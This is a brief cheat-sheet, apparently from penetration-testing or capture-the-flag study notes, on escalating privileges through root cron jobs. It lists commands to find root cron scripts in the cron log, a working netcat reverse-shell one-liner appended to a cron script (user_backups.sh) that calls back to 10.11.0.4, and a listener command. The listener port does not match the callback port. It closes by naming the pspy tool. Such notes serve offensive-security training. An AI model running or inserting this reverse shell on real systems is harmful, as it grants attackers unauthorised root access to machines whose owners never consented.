Cron case

• Check for any script running in cron job with root access
  
  grep "CRON" /var/log/cron.log

• Then edit that service with any suitable reverse shell
  
  echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f" >> user_backups.sh

• nc -nvlp 443

Automation : pspy tool